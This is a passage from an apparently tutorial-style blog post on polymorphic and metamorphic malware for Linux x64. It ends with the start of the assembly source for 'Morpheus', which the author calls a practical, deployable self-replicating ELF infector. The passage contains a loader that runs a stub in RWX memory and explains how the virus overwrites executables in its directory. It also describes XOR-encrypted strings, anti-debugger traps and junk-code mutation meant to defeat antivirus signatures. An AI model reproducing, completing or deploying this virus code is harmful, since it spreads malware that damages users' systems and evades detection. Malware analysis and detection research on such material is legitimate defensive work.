    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;                                  &lt;span class="c1"&gt;; mmap&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;                               &lt;span class="c1"&gt;; padding&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt;                                &lt;span class="c1"&gt;; rwx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x22&lt;/span&gt;                               &lt;span class="c1"&gt;; private|anon&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="c1"&gt;; copy stub to executable memory&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;movsb&lt;/span&gt;

    &lt;span class="c1"&gt;; execute stub&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; cleanup&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;                                 &lt;span class="c1"&gt;; munmap&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                                  &lt;span class="c1"&gt;; success&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Current Limitations
&lt;/h3&gt;

&lt;p&gt;At present, it is strictly limited to Linux x64 because of direct syscall dependencies: the mmap usage is customized for Linux, and register conventions are bound to x64. Porting to Windows would require adapting calling conventions and likely rewriting large parts of the engine logic. macOS has its own syscall numbers and memory protection details, so it would not run with simple changes.&lt;/p&gt;

&lt;p&gt;The algorithm set is deliberately limited to four variants. This scale is sufficient to prove the concept without making the system overly complex or fragile. Expanding to dozens of equivalent variants is feasible but significantly increases the risk of introducing bugs and requires careful balancing of complexity and correctness.&lt;/p&gt;

&lt;p&gt;There is currently no runtime recompilation mechanism: each variant is generated once and remains static during execution. Self-modifying variants could further improve evasion but introduce instability and substantially raise implementation cost.&lt;/p&gt;

&lt;p&gt;Future directions could include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Adding a syscall abstraction layer for true cross-platform support (Linux, Windows, macOS).
&lt;/li&gt;
&lt;li&gt;Expanding the algorithm set and improving encryption/obfuscation (currently quite crude in this area).
&lt;/li&gt;
&lt;li&gt;Building a dynamic rewriting engine that supports self-modifying payloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even in its current form, it has already achieved the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent junk injection, and multi-layered polymorphic structure. Implementation details can vary, but these foundational principles remain stable.&lt;/p&gt;

&lt;p&gt;This is a foundational polymorphic engine, intentionally designed to be “usable and clear.” You can use it first to understand the core techniques, then build upon it. Once you internalize these layers of entropy, obfuscation, and instruction encoding, you can take it in any direction you choose.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Truly Makes Code Mutable
&lt;/h3&gt;

&lt;p&gt;Metamorphic code is more than obfuscation — it rewrites itself. On every execution, it parses its own binary, locates mutable regions, and replaces them with semantically equivalent but syntactically different instruction sequences.&lt;/p&gt;

&lt;p&gt;For a simple task like clearing a register, you can use &lt;code&gt;XOR RAX, RAX&lt;/code&gt;, &lt;code&gt;SUB RAX, RAX&lt;/code&gt;, &lt;code&gt;MOV RAX, 0&lt;/code&gt;, or even &lt;code&gt;PUSH 0; POP RAX&lt;/code&gt;. Same effect, different opcodes. To a static scanner, these are often unrelated.&lt;/p&gt;

&lt;p&gt;A metamorphic engine exploits this by maintaining an instruction-level replacement catalog. Each iteration applies randomized transformations: register renaming, safe reordering of instructions, junk code insertion, and control-flow reconstruction. Logic remains unchanged, but layout continuously evolves.&lt;/p&gt;

&lt;p&gt;Combined with replication propagation, each infected binary carries mutations from its “parent” and adds new mutations during infection. Over time, this creates a family of functionally equivalent but structurally distinct samples. No fixed signatures, no stable patterns — only continuous evolution at the opcode level. This is why it is often called “assembly heaven.”&lt;/p&gt;

&lt;h3&gt;
  
  
  Classic Reference: MetaPHOR
&lt;/h3&gt;

&lt;p&gt;In 2002, there was a very solid article dissecting metamorphic engine structure: The Mental Driller’s “How I Made MetaPHOR and What I’ve Learned.” Yes, 2002 — ancient by today’s standards, but the core principles remain strikingly relevant. Some adaptation is needed for modern systems, but the underlying mechanisms are still solid.&lt;/p&gt;

&lt;p&gt;Polymorphism focuses on camouflage: adjusting the decryptor, wrapping the payload, keeping the core static. Metamorphism discards the shell and directly modifies the interior. It disassembles complete code blocks, rewrites them from scratch, and reassembles the binary — producing new logical layouts, altered control flow, and shifted instruction patterns. Every landing looks different.&lt;/p&gt;

&lt;p&gt;It is not just renaming registers or sprinkling NOPs. It is full-code-level mutation — deep structural churning that leaves no stable anchor points for static fingerprints.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Disassembly and Shrinking —
&lt;/h3&gt;

&lt;p&gt;To mutate, a virus (VX) must first disassemble itself into an internal pseudo-assembly format — a custom abstraction layer that makes original opcodes readable and transformable. It breaks apart its instruction stream, decodes jumps, calls, and conditional branches, then maps control flow into manageable data structures.&lt;/p&gt;

&lt;p&gt;After disassembly, the code is written into a memory buffer. Pointer tables are built for jump targets, call destinations, and other critical control elements to ensure relationships are not broken during rewriting.&lt;/p&gt;

&lt;p&gt;Next comes the &lt;strong&gt;shrinker&lt;/strong&gt;. This stage scans for bloated instruction sequences and compresses them into minimal equivalent forms.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Original Instruction&lt;/th&gt;
&lt;th&gt;Compressed Instruction&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MOV reg, reg&lt;/td&gt;
&lt;td&gt;NOP&lt;/td&gt;
&lt;td&gt;Dead operation with no effect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XOR reg, reg&lt;/td&gt;
&lt;td&gt;MOV reg, 0&lt;/td&gt;
&lt;td&gt;Clear the register&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The shrinker’s job is to trim fat: fold redundant chains, clean up leftovers, and free space for the next round of mutation.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Permutation and Expansion —
&lt;/h3&gt;

&lt;p&gt;After shrinking comes the &lt;strong&gt;permutator&lt;/strong&gt;. Its task is shuffling: reordering instructions and injecting entropy while keeping logic intact, making layout unpredictable.&lt;/p&gt;

&lt;p&gt;It also replaces equivalent instructions: same result, different operation.&lt;/p&gt;

&lt;p&gt;Following permutation is the &lt;strong&gt;expander&lt;/strong&gt; — the opposite of the shrinker. It expands single instructions into equivalent two- or three-instruction sequences. Recursive expansion continuously increases code complexity.&lt;/p&gt;

&lt;p&gt;Control variables impose hard limits to prevent unbounded growth.&lt;/p&gt;

&lt;p&gt;Finally, the &lt;strong&gt;assembler&lt;/strong&gt; finishes the job: it reassembles the mutated code back into valid machine code.&lt;/p&gt;

&lt;p&gt;Only after completing this loop does the VX become a structurally unique but functionally complete new variant. Payload unchanged, appearance brand new.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Generational Generation —
&lt;/h3&gt;

&lt;p&gt;You have seen how we do this in polymorphism: injecting junk code and replacing registers. Metamorphic thinking is similar but goes much deeper.&lt;/p&gt;

&lt;p&gt;When the VX completes its self-rewrite in memory, it writes the new variant back to disk. Every execution produces a “new copy” containing random junk code and rewritten logic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhd4g54d9yf1p9bjsotcp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhd4g54d9yf1p9bjsotcp.png" alt=" " width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  vx-junk-disasm
&lt;/h3&gt;

&lt;p&gt;Notice those JUNK macro calls? They are randomly scattered. Each is a marker — a hook point that can be safely modified. Smart Trash: deliberately useless, designed specifically to interfere with disassemblers and scanners.&lt;/p&gt;

&lt;p&gt;We use a dedicated scanning function to handle them. It traverses the code, looks for PUSH/POP patterns on the same registers (spaced 8 bytes apart), and marks the hit locations. Once marked, these junk segments are overwritten with new, harmless, randomized replacement sequences.&lt;/p&gt;

&lt;p&gt;This loop is the core. It hunts for JUNK sequences and replaces them with new random instruction chains on every run. Each JUNK call marks a modifiable slot — essentially a sandboxed code region for generational mutation. Behavior harmless, structure chaotic.&lt;/p&gt;

&lt;p&gt;After mutation completes, the VX propagates by copying the new variant into executable files discovered in the same directory. The copy has changed structure but unchanged behavior. True polymorphic/metamorphic malware is not about “fooling AV once,” but about continuous mutation — reshaping the binary with every “breath.” As long as logic remains intact and structure keeps changing, static detection struggles to gain a foothold.&lt;/p&gt;

&lt;p&gt;This is only the minimal viable set, covering the key mechanisms. It demonstrates the core path that allows VX code to mutate and survive. There is much more to deeper content, but this is the foundation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Morpheus
&lt;/h3&gt;

&lt;p&gt;Now it is time for the code I mentioned alongside Veil64 to make its appearance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Morpheus&lt;/strong&gt; applies metamorphic principles to a real, runnable virus infector. This is not a theoretical demonstration — it is practical and deployable. It shows how a mutation engine can work end-to-end without relying on encryptors or packers.&lt;/p&gt;

&lt;p&gt;The core idea is simple: Morpheus treats its own executable code the way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, then writes out a mutated version that accomplishes the same tasks with different instruction sequences.&lt;/p&gt;

&lt;p&gt;On every run, Morpheus roughly does the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extracts obfuscated strings and executes its logic
&lt;/li&gt;
&lt;li&gt;Loads its own &lt;code&gt;.text&lt;/code&gt; section
&lt;/li&gt;
&lt;li&gt;Disassembles code blocks
&lt;/li&gt;
&lt;li&gt;Identifies mutation points (NOPs, junk patterns, simple MOV/XOR operations, etc.)
&lt;/li&gt;
&lt;li&gt;Applies transformations (register shuffling, instruction replacement, code block reordering or expansion)
&lt;/li&gt;
&lt;li&gt;Generates structurally different but logically consistent code
&lt;/li&gt;
&lt;li&gt;Writes the mutated binary to a new target (usually another ELF in the same directory)
&lt;/li&gt;
&lt;li&gt;Patches headers as needed to keep it executable
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every generation is truly different — not just added junk and register swaps, but substantive structural change — while the payload and functionality remain fully intact. This allows Morpheus to self-replicate on every execution, rendering static signature detection unreliable. Combined with runtime transformation and actual rewriting of files on disk, traditional scanning methods struggle to track it consistently.&lt;/p&gt;

&lt;p&gt;Junk code is always a balancing act. In Veil64 we used relatively basic junk padding. Here is a 10-byte sequence that has zero net effect but can easily be mistaken for compiler-generated register preservation code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;
&lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;XCHG&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;XCHG&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;POP&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;POP&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Morpheus makes heavy use of such sequences. The JUNK macro marks these blocks, and on every execution the engine scans and replaces them with structurally different but functionally equivalent junk patterns.&lt;/p&gt;

&lt;p&gt;We implemented four register combinations for smart junk patterns. Each variant follows the same logic but uses different register pairs, producing unique byte sequences. These variants are functionally identical with zero side effects, yet their binary signatures change completely.&lt;/p&gt;

&lt;h3&gt;
  
  
  String Encryption
&lt;/h3&gt;

&lt;p&gt;All strings are encrypted to evade static signature detection. I used a simple XOR scheme: each string gets its own key, and decryption is a single XOR pass. Why XOR? Because it is fast.&lt;/p&gt;

&lt;p&gt;Decryption runs once at startup. To add extra resistance, I included INT3 trap shellcode to disrupt debugger flow.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Infection —
&lt;/h3&gt;

&lt;p&gt;During the infection stage, we scan the directory for ELF binaries. The scanner performs several basic checks to filter out garbage files and retain only viable ELF executable targets (regular files, no hidden files, valid ELF magic, executable and writable permissions).&lt;/p&gt;

&lt;p&gt;Before any overwrite, it creates a hidden backup prefixed with &lt;code&gt;.morph8&lt;/code&gt;. If the backup already exists, infection is skipped — acting as an “already morphed” marker.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Morpheus Engine —
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="c1"&gt;;;&lt;/span&gt;
&lt;span class="c1"&gt;;;     M O R P H E U S   [ polymorphic ELF infector ]&lt;/span&gt;
&lt;span class="c1"&gt;;;     ------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;;     stealth // mutation // syscall-only // junked //&lt;/span&gt;
&lt;span class="c1"&gt;;;     ------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;;     0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec&lt;/span&gt;
&lt;span class="c1"&gt;;;&lt;/span&gt;
&lt;span class="cp"&gt;
%define PUSH 0x50
%define POP 0x58
%define MOV 0xB8
%define NOP 0x90
%define REX_W 0x48
%define XCHG_OP 0x87
%define XCHG_BASE 0xC0

%define ADD_OP 0x01
%define AND_OP 0x21
%define XOR_OP 0x31
%define OR_OP 0x09
%define SBB_OP 0x19
%define SUB_OP 0x29

%define JUNKLEN 10
&lt;/span&gt;
&lt;span class="c1"&gt;; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax&lt;/span&gt;
&lt;span class="cp"&gt;%macro JUNK 0
&lt;/span&gt;    &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;
&lt;span class="cp"&gt;%endmacro
&lt;/span&gt;
&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.data&lt;/span&gt;

&lt;span class="c1"&gt;; ELF header&lt;/span&gt;
&lt;span class="nf"&gt;ELF_MAGIC&lt;/span&gt;       &lt;span class="nv"&gt;dd&lt;/span&gt; &lt;span class="mh"&gt;0x464C457F&lt;/span&gt;
&lt;span class="no"&gt;ELF_CLASS64&lt;/span&gt;&lt;span class="kd"&gt;     equ&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="no"&gt;ELF_DATA2LSB&lt;/span&gt;&lt;span class="kd"&gt;    equ&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="no"&gt;ELF_VERSION&lt;/span&gt;&lt;span class="kd"&gt;     equ&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="no"&gt;ELF_OSABI_SYSV&lt;/span&gt;&lt;span class="kd"&gt;  equ&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="no"&gt;ET_EXEC&lt;/span&gt;&lt;span class="kd"&gt;         equ&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="no"&gt;ET_DYN&lt;/span&gt;&lt;span class="kd"&gt;          equ&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="no"&gt;EM_X86_64&lt;/span&gt;&lt;span class="kd"&gt;       equ&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;

&lt;span class="nf"&gt;prefixes&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="nv"&gt;ADD_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;AND_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;XOR_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;OR_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SBB_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SUB_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nf"&gt;bin_name&lt;/span&gt; &lt;span class="nv"&gt;times&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nf"&gt;orig_exec_name&lt;/span&gt; &lt;span class="nv"&gt;times&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nf"&gt;msg_cat&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="err"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;_&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt; &lt;span class="s"&gt;",10
        db "&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;o.o&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s"&gt;",10
        db "&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;                    &lt;span class="c1"&gt;; payload&lt;/span&gt;
&lt;span class="nf"&gt;current_dir&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="s"&gt;"./"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="c1"&gt;; encrypted strings&lt;/span&gt;
&lt;span class="nf"&gt;cmhd&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;     &lt;span class="c1"&gt;; "chmod +x %s"&lt;/span&gt;
&lt;span class="nf"&gt;tchh&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xAF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;     &lt;span class="c1"&gt;; "chmod +x %s"&lt;/span&gt;
